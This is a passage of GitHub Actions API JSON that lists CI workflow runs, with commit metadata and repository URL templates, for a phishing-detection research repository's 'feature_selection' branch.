ection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298839288,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODM5Mjg4","head_branch":"feature_selection","head_sha":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","run_number":285,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318223668,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjIzNjY4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298839288","pull_requests":[],"created_at":"2020-10-10T07:05:04Z","updated_at":"2020-10-10T07:07:37Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318223668","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","tree_id":"ed9234db99b96a859a2663e65905890a31cdd260","message":"Module docstrings","timestamp":"2020-10-10T07:04:53Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298839234,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODM5MjM0","head_branch":"feature_selection","head_sha":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","run_number":1083,"event":"push","status":"completed","conclusion":"cancelled","workflow_id":369237,"check_suite_id":1318223590,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjIzNTkw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298839234","pull_requests":[],"created_at":"2020-10-10T07:05:01Z","updated_at":"2020-10-10T07:32:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318223590","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","tree_id":"ed9234db99b96a859a2663e65905890a31cdd260","message":"Module docstrings","timestamp":"2020-10-10T07:04:53Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298826745,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODI2NzQ1","head_branch":"feature_selection","head_sha":"9dd95674fcf7ff800fcc2e2427d4dde49d64db19","run_number":284,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318196356,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MTk2MzU2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298826745","pull_requests":[],"created_at":"2020-10-10T06:48:46Z","updated_at":"2020-10-10T06:51:16Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318196356","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"9dd95674fcf7ff800fcc2e2427d4dde49d64db19","tree_id":"86526d56181254db4cca83ae6dbba490f499a4c4","message":"refactored Feature_Selection.py","timestamp":"2020-10-10T06:40:51Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"